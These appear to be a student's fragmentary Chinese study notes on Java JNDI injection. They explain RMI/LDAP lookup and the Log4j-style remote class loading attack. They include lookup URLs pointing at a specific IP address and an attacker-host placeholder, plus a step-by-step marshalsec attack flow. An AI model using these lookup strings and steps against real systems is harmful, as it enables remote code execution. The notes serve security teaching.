jndi,它是一个接口,可以实现对象与服务的调用。

rmi ldap利用
ingection

可以利用这个接口远程调用功能。
这两个协议最重要↓
Javax.Naming.Initialcontext.lookup()专门实现jndi注入




这是过程↑
这是Java JNDI注入漏洞的演示代码,基于IntelliJ IDEA开发环境编写,以下是详细解读:
- 技术组件
-
核心类: javax.naming.InitialContext ,是Java命名与目录接口(JNDI)的核心类,用于访问命名和目录服务(如RMI、LDAP)。
-
协议调用:通过 lookup 方法发起远程服务调用,示例中包含
-
RMI协议: rmi://47.94.236.117:1099/Test
-
LDAP协议: ldap://47.94.236.117:1389/nx5qkh
- 漏洞原理
当代码执行 lookup 时,会远程加载并执行指定地址的class文件(如 nx5qkh 对应的恶意类)。这是JNDI注入漏洞的核心逻辑------攻击者可通过控制远程类的内容,实现恶意代码注入执行。
- 场景用途
该代码常用于Java安全漏洞(如Log4j2漏洞)的原理演示,帮助理解"如何通过JNDI远程引用执行恶意代码",是Web安全教学、漏洞研究中的典型案例。
要诱导加载恶意类,核心是利用JNDI支持的远程协议(如RMI、LDAP)的"远程类加载"能力,具体流程如下:
- 协议的作用
RMI、LDAP是JNDI支持的远程协议,它们允许通过URL远程引用并加载类。攻击者正是利用这一特性,将恶意类的地址嵌入到JNDI的 lookup 参数中,诱导目标应用主动去远程加载并执行恶意类。
- 攻击流程(以LDAP为例)
步骤 操作 技术细节
1 搭建恶意LDAP服务 用 marshalsec 工具启动LDAP服务,配置它将请求重定向到托管恶意类的HTTP服务器(如 http://攻击者IP/恶意类.class )
2 构造恶意JNDI URL 生成包含LDAP重定向地址的URL,如 ldap://攻击者IP:1389/恶意类标识
3 诱导目标执行 让目标应用的JNDI代码执行 new InitialContext().lookup("ldap://攻击者IP:1389/恶意类标识")
4 远程加载恶意类 目标应用通过LDAP协议发起请求,被重定向到HTTP服务器下载并执行 恶意类.class ,从而触发攻击
- RMI协议的类似逻辑
RMI协议的攻击流程与LDAP类似:攻击者搭建恶意RMI服务,将恶意类的地址注册到RMI服务中,当目标执行 lookup("rmi://攻击者IP/恶意类标识") 时,会远程加载并执行恶意类。
简单来说,协议是"运输通道"------RMI、LDAP协议负责将"加载恶意类"的指令传递给目标应用,最终实现恶意代码的注入执行。
这个漏洞有版本限制。


Fastjson
黑盒测试可以看报错回显
调用类中的方法。



这节课听着懵懵的。